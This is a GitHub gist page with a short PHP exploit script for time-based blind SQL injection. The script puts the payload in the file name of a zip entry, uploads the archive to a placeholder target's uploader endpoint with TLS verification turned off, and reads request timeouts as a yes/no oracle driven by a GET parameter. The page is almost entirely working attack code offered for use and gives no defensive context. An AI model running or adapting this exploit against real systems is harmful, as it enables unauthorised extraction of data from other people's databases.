Skip to content

Instantly share code, notes, and snippets.

@mcipekci
Created March 21, 2023 13:35
Show Gist options
  • Save mcipekci/29eb8e961c74905f809d862c6ebbe16e to your computer and use it in GitHub Desktop.
Save mcipekci/29eb8e961c74905f809d862c6ebbe16e to your computer and use it in GitHub Desktop.
Exploiting SQL injection via unzipped file contents
<?php
// Prepare File
$file = tempnam("/tmp", "zip");
$zip = new ZipArchive();
$zip->open($file, ZipArchive::OVERWRITE);
// Add file name with SQLi payload
$zip->addFromString("'+(CASE WHEN 1=".$_GET['value']." THEN 1 ELSE sleep(10) END)+'", "");
// Close and send to the server
$zip->close();
$cf = new CURLFile($file);
$ch = curl_init("https://target.company.tld/uploader.php?bp=");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_VERBOSE, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ["uploader" => $cf]);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$resp = curl_exec($ch);
if ($resp) {
echo "Good data!";
}
else {
echo "Bad data!";
}
curl_close($ch);
unlink($file);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment